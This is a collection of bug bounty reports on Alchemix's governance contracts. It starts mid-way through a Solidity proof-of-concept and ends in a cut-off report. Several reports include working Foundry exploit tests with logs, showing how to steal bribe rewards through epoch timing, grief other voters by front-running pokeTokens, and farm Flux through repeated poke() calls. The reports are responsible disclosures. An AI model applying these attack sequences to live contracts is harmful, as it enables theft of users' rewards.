pragma solidity ^0.8.15;

import "./BaseTest.sol";

contract BribePoC is BaseTest {
    uint256 constant DURATION = 2 weeks;
    uint256 constant SECONDS_PER_BLOCK = 12;
    uint256 public epochTime;
    uint256 public epochBlock;

    function setUp() public {
        setupContracts(block.timestamp);
        epochTime = minter.activePeriod();
        epochBlock = block.number;
    }

    function goNextEpoch() private {
        epochTime = epochTime + DURATION;
        epochBlock = epochBlock + DURATION / 12;
        hevm.warp(epochTime);
        hevm.roll(epochBlock);
    }

    function testBugPriorBalanceIndex() public {

        address bribeAddress = voter.bribes(address(sushiGauge));
        address[] memory pools = new address[](1);
        pools[0] = sushiPoolAddress;
        uint256[] memory weights = new uint256[](1);
        weights[0] = 10000;



        // go epoch 1
        goNextEpoch();

        // at start time of epoch 1
        uint256 targetTokenId = createVeAlcx(admin, TOKEN_1, MAXTIME, false);
        uint256 userTokenId = createVeAlcx(beef, TOKEN_1 * 1000, MAXTIME, false);

        voter.distribute();

        createThirdPartyBribe(bribeAddress, bal, TOKEN_100K);

        hevm.prank(admin);
        voter.vote(targetTokenId, pools, weights, 0);

        hevm.prank(beef);
        voter.vote(userTokenId, pools, weights, 0);

        // totalVoting = (1 + 1000) * votingPowerPerTokenAtMaxtime = 1001 * votingPowerPerTokenAtMaxtime
        // reward expected for targetTokenId = 100K * 1 / 1001 = 100/1001 K

        // go epoch 2
        goNextEpoch();

        // at start time of epoch 2
        voter.distribute();

        createThirdPartyBribe(bribeAddress, bal, TOKEN_100K);

        // create a new token with same amount
        uint256 supportTokenId = createVeAlcx(admin, TOKEN_1, MAXTIME, false);

        hevm.prank(admin);
        // at start time of epoch 2
        voter.vote(supportTokenId, pools, weights, 0);
        // after this tx, the totalVoting = 1 * votingPowerPerTokenAtMaxtime
        // earnedAmount = 100K * 1 / 1 = 100 K
        // it means that the smaller the voting power of the supportTokenId, the more rewards it can steal.
        // but this is not calculated because of block.timestamp == _lastEpochEndthis in Bribe.sol
        //     if (block.timestamp > _lastEpochEnd) {
        //          reward += (cp.balanceOf * tokenRewardsPerEpoch[token][_lastEpochStart]) / _priorSupply;
        //     }
        // so the attacker waits for the next block
        hevm.warp(block.timestamp + SECONDS_PER_BLOCK);
        hevm.roll(block.number + 1);

        // in the second block of epoch 2
        address[] memory bribes = new address[](1);
        bribes[0] = address(bribeAddress);
        address[][] memory tokens = new address[][](1);
        tokens[0] = new address[](1);
        tokens[0][0] = bal;

        uint256 beforeBalOfAdmin = IERC20(bal).balanceOf(admin);

        hevm.prank(admin);
        voter.claimBribes(bribes, tokens, targetTokenId);

        uint256 deltaBalOfAdmin = IERC20(bal).balanceOf(admin) - beforeBalOfAdmin;

        // The success means the attacker stole all reward of epoch 1
        // In the Bribe contract, rewards for other users who have not claimed for a long time, including rewards from new epoch, may remain.
        // The attacker can steal all these funds.
        assertEq(TOKEN_100K, deltaBalOfAdmin, "The attack is failed");
    }
}
```


# 30886 - \[SC - Medium] Wrong totalWeight in Votersol

Submitted on May 7th 2024 at 18:39:32 UTC by @cryptoticky for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #30886

Report type: Smart Contract

Report severity: Medium

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol>

Impacts:

* Manipulation of governance voting result deviating from voted outcome and resulting in a direct change from intended effect of original results

## Description

## Brief/Intro

If the user proceeds with the vote only once and does nothing afterwards, the voting power of the user does not decrease and this affects the overall voting result.

## Vulnerability Details

```
/// @inheritdoc IVoter
    function notifyRewardAmount(uint256 amount) external {
        require(msg.sender == minter, "only minter can send rewards");
        require(totalWeight > 0, "no votes");

        _safeTransferFrom(base, msg.sender, address(this), amount); // transfer rewards in

        uint256 _ratio = (amount * 1e18) / totalWeight; // 1e18 adjustment is removed during claim

        if (_ratio > 0) {
            index += _ratio;
        }

        emit NotifyReward(msg.sender, base, amount);
    }
```

```
function _updateFor(address _gauge) internal {
        require(isGauge[_gauge], "invalid gauge");

        address _pool = poolForGauge[_gauge];
        uint256 _supplied = weights[_pool];
        if (_supplied > 0) {
            uint256 _supplyIndex = supplyIndex[_gauge];
            uint256 _index = index; // get global index0 for accumulated distro
            supplyIndex[_gauge] = _index; // update _gauge current position to global position
            uint256 _delta = _index - _supplyIndex; // see if there is any difference that need to be accrued
            if (_delta > 0) {
                uint256 _share = (uint256(_supplied) * _delta) / 1e18; // add accrued difference for each supplied token
                claimable[_gauge] += _share;
            }
        } else {
            supplyIndex[_gauge] = index;
        }
    }
```

In this protocol, votingPower linearly decreases over time. However, if no action for the tokenId is taken after the first vote, the votingPower of that token remains within totalWeight and weights. This directly affects \_ratio within the Voter.notifyRewardAmount function. It also impacts claimable in the Voter.\_updateFor function.

When the Voter.distribute function is called, newly minted ALCX tokens are distributed to each gauge according to the voting results.

Ultimately, the voting results differ from what was intended, which affects the distribution of ALCX tokens.

Even if a token expires, this phenomenon continues.

## Impact Details

The governance voting results are manipulated, leading to a direct deviation from the intended impact of the original results.

## Proof of Concept

```
// SPDX-License-Identifier: GPL-3
pragma solidity ^0.8.15;

import "./BaseTest.sol";

contract VoterPoC is BaseTest {
    uint256 constant DURATION = 2 weeks;
    uint256 constant SECONDS_PER_BLOCK = 12;
    uint256 public epochTime;
    uint256 public epochBlock;

    address public sushiBribeAddress;
    address public balancerBribeAddress;

    function setUp() public {
        setupContracts(block.timestamp);
        epochTime = minter.activePeriod();
        epochBlock = block.number;
    }

    function goNextEpoch() private {
        epochTime = epochTime + DURATION;
        epochBlock = epochBlock + DURATION / 12;
        hevm.warp(epochTime);
        hevm.roll(epochBlock);

        sushiBribeAddress = voter.bribes(address(sushiGauge));
        balancerBribeAddress = voter.bribes(address(balancerGauge));

    }

    function testBugTotalWeight() public {
        address[] memory poolsOfAdmin = new address[](1);
        poolsOfAdmin[0] = sushiPoolAddress;
        address[] memory poolsOfBeef = new address[](1);
        poolsOfBeef[0] = balancerPoolAddress;
        uint256[] memory weights = new uint256[](1);
        weights[0] = 10_000;


        uint256 nonActiveTokenId = createVeAlcx(admin, TOKEN_1 * 1000, MAXTIME, false);

        // go epoch 1
        goNextEpoch();

        // To call Minter.updatePeriod(). but not send reward token to Voter
        voter.distribute();


        hevm.prank(admin);
        voter.vote(nonActiveTokenId, poolsOfAdmin, weights, 0);

        uint256 totalWeight0 = voter.totalWeight();

        hevm.warp(block.timestamp + MAXTIME / 2);
        voter.distribute();


        uint256 totalWeight1 = voter.totalWeight();

        // ==================== General voting =======================
        // if user does nothing, Voter.totalWeight is not changed.
        assertEq(totalWeight0, totalWeight1, "The code is correct");

        uint256 outPutTokenId = createVeAlcx(admin, TOKEN_1, MAXTIME, false);
        uint256 userTokenId = createVeAlcx(beef, TOKEN_1, MAXTIME, false);

        hevm.prank(admin);
        voter.vote(outPutTokenId, poolsOfAdmin, weights, 0);

        hevm.prank(beef);
        voter.vote(userTokenId, poolsOfBeef, weights, 0);

        uint256 period = minter.activePeriod();
        hevm.warp(period + nextEpoch);
        voter.distribute();

        address[] memory gauges = new address[](2);
        gauges[0] = address(sushiGauge);
        gauges[1] = address(balancerGauge);

        voter.updateFor(gauges);

        // be expected claimable amount for sushiGauge = claimable amount for balancerGauge
        uint256 claimableForSushi = voter.claimable(address(sushiGauge));
        uint256 claimableForBalancer = voter.claimable(address(balancerGauge));
        console.log(claimableForSushi);
        console.log(claimableForBalancer);

        // claimableForSushi > claimableForBalancer
        assertGt(claimableForSushi, claimableForBalancer, "claimable amount is equal");
        console.log("compare claimable: ", claimableForSushi / claimableForBalancer);
        // that shows 944
        // ================================================================

        period = minter.activePeriod();
        hevm.warp(period + nextEpoch);

        hevm.prank(admin);
        voter.reset(outPutTokenId);

        hevm.prank(beef);
        voter.reset(userTokenId);

        totalWeight1 = voter.totalWeight();
        assertEq(totalWeight0, totalWeight1, "totalWeight0 != totalWeight2");

        epochTime = epochTime + MAXTIME + DURATION;
        hevm.warp(epochTime);
        // at this time, the nonActiveTokenId is expired
        // but the totalWeight is kept the votingPower of the token when the token is created
        // the general vote will be continue ... and the expired votingPower affects the token distribution for gauges.
        // this TOKEN will have to be locked during MAXTIME at this point in order to get such a voting powers,
        // but the user can always withdraw at any time.
        totalWeight1 = voter.totalWeight();
        assertEq(totalWeight0, totalWeight1, "totalWeight0 != totalWeightAtExpiredTime");
    }
}
```


# 30898 - \[SC - Critical] Call the deposit function before the distribute...

Submitted on May 7th 2024 at 19:44:37 UTC by @cryptoticky for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #30898

Report type: Smart Contract

Report severity: Critical

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol>

Impacts:

* Manipulation of governance voting result deviating from voted outcome and resulting in a direct change from intended effect of original results
* Theft of unclaimed yield

## Description

## Brief/Intro

If an attacker makes a deposit before the `Voter.distribute` function is called in a new epoch, the `Bribe.totalVoting` becomes smaller than the actual sum of votes. This discrepancy provides the attacker with an opportunity to steal funds from the contract.

## Vulnerability Details

* Keeper or anyone will call `Voter.distribute` function to initialize the protocol once a new epoch
* But an attacker can call `Voter.vote` function before the `Voter.distribute` function is called
* If the `Voter.distribute` function is called after the attacker calls `Voter.vote` function, that updates `Bribe.totalVoting` to `0`
* If there is no vote anymore in this epoch, the prevSupply will be 1 when the attacker claims the reward. It means that the attacker can adjust the amount of rewards you will receive. So that the attacker can steal all assets in the Bribe contract.
* If there are other votes after calling distribute function, the attacker can get more than the expected reward.

## Impact Details

* As a result of the vote, it results in a different effect from the expected effect regardless of voting Power.
* An attacker can steal all the rewards in the Bribe contract.

## Recommendation

It is recommended to confirm that the Voter.distribute function was called when users call Voter.vote function in the new epoch, and if it is false, it is recommended to call the distribute function first.

## Proof of Concept

```
// SPDX-License-Identifier: GPL-3
pragma solidity ^0.8.15;

import "./BaseTest.sol";

contract BribePoC is BaseTest {
    uint256 constant DURATION = 2 weeks;
    uint256 constant SECONDS_PER_BLOCK = 12;
    uint256 public epochTime;
    uint256 public epochBlock;

    function setUp() public {
        setupContracts(block.timestamp);
        epochTime = minter.activePeriod();
        epochBlock = block.number;
    }


    function testBugDoSDeposit() public {

        address bribeAddress = voter.bribes(address(sushiGauge));
        address[] memory pools = new address[](1);
        pools[0] = sushiPoolAddress;
        uint256[] memory weights = new uint256[](1);
        weights[0] = 10000;

        // go epoch 1
        uint256 period = minter.activePeriod();
        hevm.warp(period + nextEpoch);

        uint256 targetTokenId = createVeAlcx(admin, TOKEN_1, MAXTIME, false);
        hevm.prank(admin);
        voter.vote(targetTokenId, pools, weights, 0);

        uint256 totalVoting0 = IBribe(bribeAddress).totalVoting();
        assertGt(totalVoting0, 0, "totalVoting0 = 0");

        voter.distribute();

        uint256 totalVoting1 = IBribe(bribeAddress).totalVoting();
        assertEq(totalVoting1, 0, "totalVoting1 != 0");

        uint256 userTokenId = createVeAlcx(beef, TOKEN_1, MAXTIME, false);

        hevm.prank(beef);
        voter.vote(userTokenId, pools, weights, 0);

        totalVoting1 = IBribe(bribeAddress).totalVoting();
        assertEq(totalVoting1, totalVoting0, "totalVoting1 != totalVoting0");


        createThirdPartyBribe(bribeAddress, bal, TOKEN_100K);

        // go epoch 2
        period = minter.activePeriod();
        hevm.warp(period + nextEpoch);

        voter.distribute();

        // in the second block of epoch 2
        address[] memory bribes = new address[](1);
        bribes[0] = address(bribeAddress);
        address[][] memory tokens = new address[][](1);
        tokens[0] = new address[](1);
        tokens[0][0] = bal;

        uint256 beforeBalOfAdmin = IERC20(bal).balanceOf(admin);

        hevm.prank(admin);
        voter.claimBribes(bribes, tokens, targetTokenId);

        uint256 deltaBalOfAdmin = IERC20(bal).balanceOf(admin) - beforeBalOfAdmin;

        // The success means the attacker stole all reward of epoch 1
        // In the Bribe contract, rewards for other users who have not claimed for a long time, including rewards from new epoch, may remain.
        // The attacker can steal all these funds.
        assertEq(TOKEN_100K, deltaBalOfAdmin, "The attack is failed");
    }
}
```


# 30906 - \[SC - Critical] Voterpoke can be called at will leading to a us...

Submitted on May 7th 2024 at 21:34:31 UTC by @dirtymic for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #30906

Report type: Smart Contract

Report severity: Critical

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol>

Impacts:

* Theft of unclaimed yield

## Description

## Brief/Intro

After a user votes, they can call poke however many times they want. This accrues Flux each time it recasts their vote. Giving them access to either Ragequit and withdraw early or leave the unclaimed flux and max boost their future votes, as well as walk away with leftover Flux tokens.

## Vulnerability Details

Once a user votes, they cannot vote again until the next epoch. However `Voter.poke()` can be called at any time. In the `poke` function `_vote` is called.

In `_vote` there is a call to the flux token contract that accrues unclaimed Flux.

```
...
    _reset(_tokenId);

        uint256 _poolCnt = _poolVote.length;
        uint256 _totalVoteWeight = 0;
        uint256 _totalWeight = 0;

        for (uint256 i = 0; i < _poolCnt; i++) {
            _totalVoteWeight += _weights[i];
        }

        IFluxToken(FLUX).accrueFlux(_tokenId);
...
```

This accrues the unclaimed Flux balance of the \_tokenId by the amount of `claimableFlux` received from the VotingEscrow\.sol contract

```
function claimableFlux(uint256 _tokenId) public view returns (uint256) {
        // If the lock is expired, no flux is claimable at the current epoch
        if (block.timestamp > locked[_tokenId].end) {
            return 0;
        }

        // Amount of flux claimable is <fluxPerVeALCX> percent of the balance
        return (_balanceOfTokenAt(_tokenId, block.timestamp) * fluxPerVeALCX) / BPS;
    }
```

Poke can be called at whim after a user has voted allowing a user to accrue Flux whenever they want. The amount of Flux accrued grows in proportion to the balance of veALCX of a tokenId.

## Impact Details

A user can accrue Flux at an abnormal rate using `poke()`, this allows a user to exit from a lock within 1 epoch by calling `poke()` enough times to accrue a large enough balance to pay the Ragequit penalty. If a user were to create a lock with 1 token, vote, and then call poke 110 times. They would have enough Flux to pay the penalty and walk away with 7.5 Flux tokens.

A user also has the option to leave the unclaimed Flux and use it to max boost their future votes.

## References

Poke: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Voter.sol#L194-L212> \_vote: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Voter.sol#L412-L455> accrueFlux: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/FluxToken.sol#L187-L192> claimableFlux: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L376-L385>

## Proof of Concept

This was written in the provided Voting.t.sol

```
function testVoteAndPoke() public {
        uint256 tokenId = createVeAlcx(admin, TOKEN_1, MAXTIME, false);

        hevm.startPrank(admin);

        hevm.warp(block.timestamp + nextEpoch);

        address[] memory pools = new address[](1);
        pools[0] = alETHPool;
        uint256[] memory weights = new uint256[](1);
        weights[0] = 5000;

        voter.vote(tokenId, pools, weights, 0);

        for (uint i = 0; i < 110; i++) {
            voter.poke(tokenId);
        }

        address[] memory poolVote = voter.getPoolVote(tokenId);
        assertEq(poolVote[0], alETHPool);

        uint256 penaltyAmount = veALCX.amountToRagequit(tokenId);

        flux.claimFlux(tokenId, penaltyAmount);

        flux.approve(address(veALCX), penaltyAmount);

        veALCX.startCooldown(tokenId);

        hevm.warp(block.timestamp + nextEpoch);

        voter.reset(tokenId);

        uint256 flux1 = flux.unclaimedFlux(tokenId);

        veALCX.withdraw(tokenId);

        uint256 fluxBalanceAfter = flux.balanceOf(admin);

        assertEq(fluxBalanceAfter, flux1);

        emit Message("Admin balance after withdraw", IERC20(bpt).balanceOf(admin));

    }
```


# 30910 - \[SC - High] Processing of voting results is not implemented...

Submitted on May 7th 2024 at 23:52:40 UTC by @cryptoticky for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #30910

Report type: Smart Contract

Report severity: High

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol>

Impacts:

* Contract fails to deliver promised returns, but doesn't lose value
* Manipulation of governance voting result deviating from voted outcome and resulting in a direct change from intended effect of original results

## Description

## Brief/Intro

Processing of voting results is not implemented in the next epoch.

## Vulnerability Details

When `Voting.distribute` function is calling, the `Voting.notifyRewardAmount` is called at the end. It is also inconsistent in calls of the `_updateFor` function.

`_updateFor` function is called before other variables are updated in `Voter.vote` and `Voter.reset` functions. But in `Voter._distribute` function, the voter sends `alcx` token with old `claimable` value. So in the code, `Voter._updateFor` function is called before sending the `alcx` token but this produces the same result that this call is made at the end of the function.

## Impact Details

As a result, the voting result goes against what was expected, and the processing of each voting result has an epoch-sized delay.

However, I registered this report as medium because there is no actual loss of funds.

## Recommendation

1. Move `IMinter(minter).updatePeriod();` at the start of distribute function

```
/// @inheritdoc IVoter
    function distribute() external {
        IMinter(minter).updatePeriod();

        uint256 start = 0;
        uint256 finish = pools.length;

        for (uint256 x = start; x < finish; x++) {
            // We don't revert if gauge is not alive since pools.length is not reduced
            if (isAlive[gauges[pools[x]]]) {
                _distribute(gauges[pools[x]]);
            }
        }
    }
```

2. Update the `_distribute` function like this

```
function _distribute(address _gauge) internal {
        // Distribute once after epoch has ended
        require(
            block.timestamp >= IMinter(minter).activePeriod() + IMinter(minter).DURATION(),
            "can only distribute after period end"
        );

        _updateFor(_gauge);

        uint256 _claimable = claimable[_gauge];

        // Reset claimable amount
        claimable[_gauge] = 0;

        if (_claimable > 0) {
            IBaseGauge(_gauge).notifyRewardAmount(_claimable);
        }

        IBribe(bribes[_gauge]).resetVoting();

        emit DistributeReward(msg.sender, _gauge, _claimable);
    }
```

3. Don't call `_updateFor` function in other functions. `claimable` variable is only used in `_distribute` function and `distribute` function is called only one time in an epoch period. So don't need to update that variable in vote and reset function.

***

This is just a recommendation. You can find a better solution.

## Proof of Concept

```
// SPDX-License-Identifier: GPL-3
pragma solidity ^0.8.15;

import "./BaseTest.sol";

contract VoterPoC is BaseTest {
    uint256 constant DURATION = 2 weeks;
    uint256 constant SECONDS_PER_BLOCK = 12;
    uint256 public epochTime;
    uint256 public epochBlock;

    address public sushiBribeAddress;
    address public balancerBribeAddress;

    function setUp() public {
        setupContracts(block.timestamp);
        epochTime = minter.activePeriod();
        epochBlock = block.number;
    }

    function goNextEpoch() private {
        epochTime = epochTime + DURATION;
        epochBlock = epochBlock + DURATION / 12;
        hevm.warp(epochTime);
        hevm.roll(epochBlock);

        sushiBribeAddress = voter.bribes(address(sushiGauge));
        balancerBribeAddress = voter.bribes(address(balancerGauge));

    }

    function testBugDepositReward() public {
        address[] memory poolsOfAdmin = new address[](1);
        poolsOfAdmin[0] = sushiPoolAddress;
        uint256[] memory weights = new uint256[](1);
        weights[0] = 10_000;

        // go epoch 1
        uint256 period = minter.activePeriod();
        hevm.warp(period + nextEpoch);
        // Voter.totalWeight is 0
        // Voter.notifyRewardAmount is not called
        // Voter.index is 0
        voter.distribute();

        uint256 targetTokenId = createVeAlcx(admin, TOKEN_1, MAXTIME, false);
        hevm.prank(admin);
        voter.vote(targetTokenId, poolsOfAdmin, weights, 0);

        uint256 claimableForSushi = voter.claimable(address(sushiGauge));
        // at this time, the claimable variable is 0
        assertEq(claimableForSushi, 0, "claimableForSushi > 0");

        // go epoch 2
        period = minter.activePeriod();
        hevm.warp(period + nextEpoch);

        // Calling Voter.distribute function in the new epoch, the reward token should be sent to gauges.
        // But no reward is sent to gauges
        // 1. call _distribute function
        // 2. call _updateFor function => claimable is 0 because delta index is still 0
        // 3. call Minter.updatePeriod function
        // 4. call Voter.notifyRewardAmount function because Voter.totalWeight is greater than 0.
        voter.distribute();
        claimableForSushi = voter.claimable(address(sushiGauge));
        // but the updateFor function is not called yet
        // at this time, the claimable variable is still 0.
        assertEq(claimableForSushi, 0, "claimableForSushi > 0");
        // Now the reward token is in Voter contract.
        assertGt(alcx.balanceOf(address(voter)), 0, "alcx balance of Voter contract is 0");
        // This means that processing of voting results is not done in the next epoch.

        // call reset function to avoid the problem pointed out in the report #30886
        hevm.prank(admin);
        // totalWeight -> 0 because of there is no vote.
        voter.reset(targetTokenId);

        // go epoch 3
        period = minter.activePeriod();
        hevm.warp(period + nextEpoch);

        voter.distribute();
        // Now the alcx token is sent to pool
        // Small amounts of alcx may remain due to rounding calculations.
        // In fact, 1 wei of alcx is left in this test.
        assertLt(alcx.balanceOf(address(voter)), 2, "alcx balance of Voter contract is not 0");
        // In the end, it can be seen that the processing of voting results in epoch 1 takes place only after epoch 3.

    }
}
```


# 30918 - \[SC - Insight] Incorrect implementation of ownerOf makes veALC...

Submitted on May 8th 2024 at 04:15:13 UTC by @marchev for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #30918

Report type: Smart Contract

Report severity: Insight

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol>

Impacts:

* Contract fails to deliver promised returns, but doesn't lose value

## Description

## Brief/Intro

As per the ERC721 specification, NFTs assigned to zero address are considered invalid, and `ownerOf()` queries about them must revert. However, the implementation of `VotingEscrow#ownerOf()` returns `address(0)` for such NFTs and not comply with that and thus makes veALCX not compliant with ERC721.

## Vulnerability Details

The [ERC721 specification](https://eips.ethereum.org/EIPS/eip-721) states the following:

```
    /// @notice Find the owner of an NFT
    /// @dev NFTs assigned to zero address are considered invalid, and queries
    ///  about them do throw.
    /// @param _tokenId The identifier for an NFT
    /// @return The address of the owner of the NFT
    function ownerOf(uint256 _tokenId) external view returns (address);
```

This means that every compliant ERC721 token must implement the `ownerOf()` function so that it throws if a `_tokenId` is passed that belongs to `address(0)`. However, `VotingEscrow`'s implementation looks like this:

```sol
    /// @inheritdoc IVotingEscrow
    function ownerOf(uint256 _tokenId) public view override(IERC721, IVotingEscrow) returns (address) {
        return idToOwner[_tokenId];
    }
```

For a non-existent `_tokenId`, this implementation will return `address(0)` instead of reverting. This behavior is not compliant with the ERC721 specification.

## Impact Details

Due to the incorrect implementation of the `ownerOf()` function, the veALCX token does not conform to the ERC721 standard. This leads to problems with composability and interoperability. Other protocols that integrate with the veALCX token may malfunction since they expect standard behaviors the token does not support, potentially leading to operational disruptions.

## References

Problematic implementation:

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L230-L232>

Docs references which state that ERC721 compliance is expected:

* <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol#L16>
* <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/CONTRACTS.md>

## Proof of Concept

Add the following test to `src/test/VotingEscrow.t.sol`:

```sol

	function test_erc721_compliance_is_broken_due_to_incorrect_owner_of_implementation() public {
        hevm.expectRevert();
        address noSuchOwner = veALCX.ownerOf(31337); // Invalid tokenId must throw
    }
```

Make sure the following entries are updated in `Makefile`:

```sh
# file to test 
FILE=VotingEscrow

# specific test to run
TEST=test_erc721_compliance_is_broken_due_to_incorrect_owner_of_implementation
```

Run the PoC via `make test_file_test`


# 30919 - \[SC - Critical] Front running of pokeTokens could lead to loss ...

Submitted on May 8th 2024 at 04:39:00 UTC by @jecikpo for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #30919

Report type: Smart Contract

Report severity: Critical

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol>

Impacts:

* Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)

## Description

## Brief/Intro

The `Voter.pokeTokens()` allows an admin to vote on behalf of any veALCX token owner for a given set of gauges. It is assumed that the purpose of the function is to provide automated regular voting services by the Alchemix system. The `pokeTokens()` does not check if the user already voted in the current Epoch. If the user did vote already, the next vote on the same epoch will affect the bribe accounting and diminish the bribes for all voters of the given gauge(s).

## Vulnerability Details

The `Voter.pokeToken()` calls `poke()` for each tokenId specificed. `poke()` calls `_vote()` which issues the vote to the given gauges. For each gauge specified `Bribe.deposit()` is called. `deposit()` increases (among other things): `totalSupply` and `totalVoting`. Those variables are then checkpointed and used when earned bribes are beeing calculated at `earned()`.

A malicious user can orchestrate a griefing attack, by front-running the `pokeTokens()` call. This will inflate the `totalVoting` which will diminish the amounts received by all users entitled to bribe claiming.

## Impact Details

The bribes of all users on a given gauge will be diminished by proportional amount of the malicious user extra voting power.

## References

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Voter.sol#L215>

## Proof of Concept

Copy the following code to the `Voting.t.sol`:

```solidity
function testPokeTokensFrontrunning() public {
        uint256 tokenId1 = createVeAlcx(admin, TOKEN_1, 156 days, false);
        uint256 tokenId2 = createVeAlcx(beef, TOKEN_1, 156 days, false);
        address bribeAddress = voter.bribes(address(sushiGauge));

        createThirdPartyBribe(bribeAddress, bal, TOKEN_1);
        //voter.distribute();

        address[] memory pools = new address[](1);
        pools[0] = sushiPoolAddress;
        uint256[] memory weights = new uint256[](1);
        weights[0] = 5000;

        address[] memory bribes = new address[](1);
        bribes[0] = address(bribeAddress);
        address[][] memory tokens = new address[][](2);
        tokens[0] = new address[](1);
        tokens[0][0] = bal;

        uint[] memory pokeTokens = new uint[](1);
        pokeTokens[0] = tokenId1;

        hevm.prank(admin);
        voter.vote(tokenId1, pools, weights, 0);

        hevm.prank(beef);
        voter.vote(tokenId2, pools, weights, 0);

        //console.log("Bribe lastEarned: ", )
        uint256 adminBribes;
        uint256 beefBribes;

        hevm.warp(block.timestamp + 6 days);

        // epoch 2
        hevm.warp(block.timestamp + nextEpoch);
        createThirdPartyBribe(bribeAddress, bal, TOKEN_1);
        voter.distribute();
        hevm.prank(admin);
        voter.vote(tokenId1, pools, weights, 0);
        hevm.prank(beef);
        voter.vote(tokenId2, pools, weights, 0);
        adminBribes = IBribe(bribeAddress).earned(bal, tokenId1);
        beefBribes = IBribe(bribeAddress).earned(bal, tokenId2);
        console.log("[admin] earned bribes epoch 2: %d", adminBribes);
        console.log("[beef] earned bribes epoch 2: %d", beefBribes);

        // epoch 3
        hevm.warp(block.timestamp + nextEpoch);
        createThirdPartyBribe(bribeAddress, bal, TOKEN_1);
        voter.distribute();

        // someone front runs the pokeTokens()
        hevm.prank(admin);
        voter.vote(tokenId1, pools, weights, 0);

        // admin calls pokeTokens
        hevm.prank(voter.admin());
        voter.pokeTokens(pokeTokens);

        hevm.prank(beef);
        voter.vote(tokenId2, pools, weights, 0);
        adminBribes = IBribe(bribeAddress).earned(bal, tokenId1);
        beefBribes = IBribe(bribeAddress).earned(bal, tokenId2);
        console.log("[admin] earned bribes epoch 3: %d", adminBribes);
        console.log("[beef] earned bribes epoch 3: %d", beefBribes);
        //console.log("voting power: %d", voter.maxVotingPower(tokenId1));

        // epoch 4
        hevm.warp(block.timestamp + nextEpoch);
        createThirdPartyBribe(bribeAddress, bal, TOKEN_1);
        voter.distribute();
        hevm.prank(admin);
        voter.vote(tokenId1, pools, weights, 0);
        hevm.prank(beef);
        voter.vote(tokenId2, pools, weights, 0);
        adminBribes = IBribe(bribeAddress).earned(bal, tokenId1);
        beefBribes = IBribe(bribeAddress).earned(bal, tokenId2);
        console.log("[admin] earned bribes epoch 4: %d", adminBribes);
        console.log("[beef] earned bribes epoch 4: %d", beefBribes);

       
        hevm.prank(admin);
        voter.claimBribes(bribes, tokens, tokenId1);
        hevm.prank(beef);
        voter.claimBribes(bribes, tokens, tokenId2);

        console.log("[admin] total bribes claimed: %d", ERC20(bal).balanceOf(admin));
        console.log("[beef] total bribes claimed: %d", ERC20(bal).balanceOf(beef));
    }
```

First run the code with the following lines commented (i.e. no front-running):

```solidity
// someone front runs the pokeTokens()
        hevm.prank(admin);
        voter.vote(tokenId1, pools, weights, 0);
```

This will result with normal bribe accumulation by both users `admin` and `beef`:

```
[PASS] testPokeTokensFrontrunning() (gas: 6499697)
Logs:
  [admin] earned bribes epoch 2: 500000000000000000
  [beef] earned bribes epoch 2: 500000000000000000
  [admin] earned bribes epoch 3: 1000000000000000000
  [beef] earned bribes epoch 3: 1000000000000000000
  [admin] earned bribes epoch 4: 1500000000000000000
  [beef] earned bribes epoch 4: 1500000000000000000
  [admin] total bribes claimed: 1500000000000000000
  [beef] total bribes claimed: 1500000000000000000
```

Once the lines above are enabled, the user effectively voted twice during same epoch and the following happens:

```
[PASS] testPokeTokensFrontrunning() (gas: 6640350)
Logs:
  [admin] earned bribes epoch 2: 500000000000000000
  [beef] earned bribes epoch 2: 500000000000000000
  [admin] earned bribes epoch 3: 1000000000000000000
  [beef] earned bribes epoch 3: 1000000000000000000
  [admin] earned bribes epoch 4: 1333333333333333333
  [beef] earned bribes epoch 4: 1333333333333333333
  [admin] total bribes claimed: 1333333333333333333
  [beef] total bribes claimed: 1333333333333333333
```

The amount is reduced, each user gets 33%, instead of 50% of the bribe share.


# 30920 - \[SC - Low] User loses access to claims after merging of to...

Submitted on May 8th 2024 at 05:28:35 UTC by @jecikpo for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #30920

Report type: Smart Contract

Report severity: Low

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol>

Impacts:

* Contract fails to deliver promised returns, but doesn't lose value

## Description

## Brief/Intro

When two veALCX tokens are merged the assets and voting power is transfered from tokenA to tokenB, however claims are not. Upon merging tokenA is burned and claims that were associatied with it are lost.

## Vulnerability Details

When the user calls `VotingEscrow.merge()` to merge tokenA and tokenB, the tokenA is burned and it no longer exists, however certains claims in other contracts (e.g. in `Bribe`) are still linked to the old tokenA. Those claims cannot be further accessed, because the verification of ownership of tokenA cannot be passed as it is removed from the necessary storage variables.

## Impact Details

If the user does not claim explicitly his claims on tokenA before merging, they are all becoming inaccessible.

## References

